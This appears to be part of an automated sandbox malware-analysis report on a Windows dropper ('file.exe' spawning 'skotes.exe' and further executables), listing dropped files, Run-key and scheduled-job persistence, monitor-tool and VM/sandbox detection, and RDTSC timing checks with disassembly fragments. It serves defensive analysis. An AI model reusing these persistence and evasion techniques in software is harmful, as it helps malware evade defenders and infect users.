Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f570600774.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 536e42fc8b.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 176986cc9c.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3981530833.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 176986cc9c.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 176986cc9c.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f570600774.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f570600774.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3981530833.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3981530833.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 536e42fc8b.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 536e42fc8b.exe Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 111648E second address: 11164A5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F020CB28452h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11164A5 second address: 11164AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11164AB second address: 11164B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112D4DC second address: 112D4E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112D7F7 second address: 112D7FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112D7FE second address: 112D809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112D809 second address: 112D80D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11314BC second address: 11314C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11314C0 second address: 11314E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jnc 00007F020CB28449h 0x00000010 or cl, FFFFFFF5h 0x00000013 push 00000000h 0x00000015 movzx esi, si 0x00000018 call 00007F020CB28449h 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11314E7 second address: 11314FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F020CB267E6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F020CB267E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11314FF second address: 113154A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28453h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jns 00007F020CB2844Eh 0x00000014 jbe 00007F020CB28448h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F020CB28459h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113154A second address: 1131561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1131683 second address: 1131687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1131687 second address: 113168B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113168B second address: 1131691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1131691 second address: 1131696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1131696 second address: 11316BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007F020CB28456h 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11316BE second address: 1131731 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F020CB267F6h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jng 00007F020CB267EAh 0x00000018 pop eax 0x00000019 js 00007F020CB267E8h 0x0000001f push 00000003h 0x00000021 mov esi, dword ptr [ebp+122D39A9h] 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a jg 00007F020CB267ECh 0x00000030 mov edx, dword ptr [ebp+122D36A1h] 0x00000036 pop ecx 0x00000037 push 00000003h 0x00000039 mov dword ptr [ebp+122D2CE8h], edi 0x0000003f push C1AE6900h 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F020CB267F6h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1131731 second address: 113176F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB2844Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 01AE6900h 0x00000010 mov dword ptr [ebp+122D2E93h], eax 0x00000016 mov dword ptr [ebp+122D1E09h], ebx 0x0000001c lea ebx, dword ptr [ebp+124563CDh] 0x00000022 jl 00007F020CB28450h 0x00000028 push eax 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push edx 0x0000002d pop edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113176F second address: 1131773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1131831 second address: 1131837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1131837 second address: 113183B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1151683 second address: 11516A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F020CB28446h 0x0000000a jmp 00007F020CB28457h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11199BC second address: 11199D8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F020CB267E6h 0x00000008 jmp 00007F020CB267F2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114F36E second address: 114F376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
